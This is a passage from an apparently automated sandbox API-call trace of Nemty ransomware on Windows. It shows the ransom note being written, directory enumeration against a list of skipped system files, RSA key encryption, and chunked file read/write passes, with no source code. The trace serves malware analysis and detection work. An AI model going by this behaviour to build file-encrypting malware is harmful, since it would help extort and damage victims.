CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ko-KR", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0045.120] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ko-KR", cchWideChar=5, lpMultiByteStr=0x653f8d0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ko-KR", lpUsedDefaultChar=0x0) returned 5 [0045.120] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0045.120] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0045.120] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0045.120] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0045.120] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0045.120] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0045.120] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed80, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0045.120] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0045.120] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0045.120] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0045.120] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0045.120] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0045.120] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0045.120] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\boot\\ko-kr\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c0 [0045.121] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0045.122] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0045.122] WriteFile (in: hFile=0x3c0, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f880, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f880*=0xef8, lpOverlapped=0x0) returned 1 [0045.122] CloseHandle (hObject=0x3c0) returned 1 [0045.123] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0045.123] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0045.123] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0045.123] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0045.123] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0045.123] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0045.123] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0045.123] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edf8 [0045.123] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9edf8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0045.123] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edd0 [0045.123] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edf8 | out: hHeap=0x4f90000) returned 1 [0045.123] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0045.123] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edd0 | out: hHeap=0x4f90000) returned 1 [0045.123] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0045.123] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0045.123] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\boot\\ko-kr\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c0 [0045.124] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0045.124] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0045.124] WriteFile (in: hFile=0x3c0, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f540, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f540*=0xef8, lpOverlapped=0x0) returned 1 [0045.125] CloseHandle (hObject=0x3c0) returned 1 [0045.125] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0045.125] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0045.125] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345598 [0045.125] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*.*", lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xce979570, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xce979570, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423970 [0045.125] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0045.125] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xce979570, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xce979570, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.125] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0045.125] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0045.125] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0045.125] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0045.125] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0045.125] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="...") returned 1 [0045.125] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="windows") returned -1 [0045.125] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="$RECYCLE.BIN") returned 1 [0045.126] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="rsa") returned -1 [0045.126] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="NTDETECT.COM") returned -1 [0045.126] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntldr") returned -1 [0045.126] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="MSDOS.SYS") returned -1 [0045.126] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="IO.SYS") returned -1 [0045.126] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="boot.ini") returned 1 [0045.126] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="boot.ini") returned 1 [0045.126] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="AUTOEXEC.BAT") returned 1 [0045.126] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat") returned -1 [0045.126] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="desktop.ini") returned -1 [0045.126] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="CONFIG.SYS") returned -1 [0045.126] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="RECYCLER") returned -1 [0045.126] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="BOOTSECT.BAK") returned -1 [0045.126] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootmgr") returned 1 [0045.126] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="programdata") returned -1 [0045.126] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="appdata") returned 1 [0045.126] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0045.126] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0045.126] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f590, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bootmgr.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0045.126] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edd0 [0045.126] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0045.126] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f590, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bootmgr.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0045.126] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edd0 | out: hHeap=0x4f90000) returned 1 [0045.126] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0045.126] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0045.126] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0045.126] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f5e0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bootmgr.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0045.126] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0045.126] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0045.126] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0045.126] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f618, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bootmgr.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0045.127] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0045.127] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0045.127] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345598 | out: hHeap=0x4f90000) returned 1 [0045.127] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0045.127] Sleep (dwMilliseconds=0x5) [0045.129] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f4a4 | out: lpSystemTimeAsFileTime=0x653f4a4*(dwLowDateTime=0xce99f6d0, dwHighDateTime=0x1d561e7)) [0045.129] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f4a4 | out: lpSystemTimeAsFileTime=0x653f4a4*(dwLowDateTime=0xce99f6d0, dwHighDateTime=0x1d561e7)) [0045.129] GetLastError () returned 0xb7 [0045.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345df0 [0045.129] GetLastError () returned 0xb7 [0045.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0045.129] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345df0 | out: hHeap=0x4f90000) returned 1 [0045.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edd0 [0045.129] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653f2e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653f2e0*=0x100) returned 1 [0045.129] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653f2e4*, pdwDataLen=0x653f2d0*=0x10, dwBufLen=0x100 | out: pbData=0x653f2e4*, pdwDataLen=0x653f2d0*=0x100) returned 1 [0045.129] CryptBinaryToStringA (in: pbBinary=0x653f2e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653f2dc | out: pszString=0x0, pcchString=0x653f2dc) returned 1 [0045.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94088 [0045.129] CryptBinaryToStringA (in: pbBinary=0x653f2e4, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94088, pcchString=0x653f2dc | out: pszString="MM3ZitO6YNcnZ3WQKFYBpn9QH0YcBhyqkJpn7sfHSABh2un5lx262Mtij3ip1hsF\r\nqUhYChOuKSRQdY+p5mX/XS71fEGB4PtPp6KrHz2SzK1ic7x4pH2LYX9H1RMG4mZG\r\n+CmrVksBD6ypffPvU6JHvinI4qwPfVQ7FobqjD3TadLvr6ICTsP0eYurkSrcHtkE\r\nceZMwqL/MBNKlBtHZmG+9vD9o06ebl4AtlZfZ8UweiRoJX8akRsb7jxseOcvPtbY\r\n50CrG3XEBh47h4oSe06I3MTfk83SjZi4WAvpcg/v5CBT4+dj0B47CSVKYrgkXwer\r\n/kXJiqPiDW27gVvyQ5A8Nw==\r\n", pcchString=0x653f2dc) returned 1 [0045.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x4f941f8 [0045.129] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0045.129] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edd0 | out: hHeap=0x4f90000) returned 1 [0045.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0045.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94088 [0045.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340048 [0045.129] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0045.129] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f530 | out: lpFileSize=0x653f530*=18150282790958436) returned 0 [0045.130] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6346d48 [0045.130] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.130] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0045.139] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.139] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.139] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.139] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0045.149] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.149] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.149] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.149] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0045.158] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.158] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.158] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.158] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0045.168] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.168] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.168] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.168] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0045.178] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.178] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.178] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.178] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0045.187] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.187] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.187] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.187] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0045.197] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.197] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.197] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.197] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0045.206] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.206] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.206] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.206] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0045.216] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.216] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.216] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.216] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0045.226] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.226] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.226] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.226] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0045.232] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.232] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.232] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106063204, 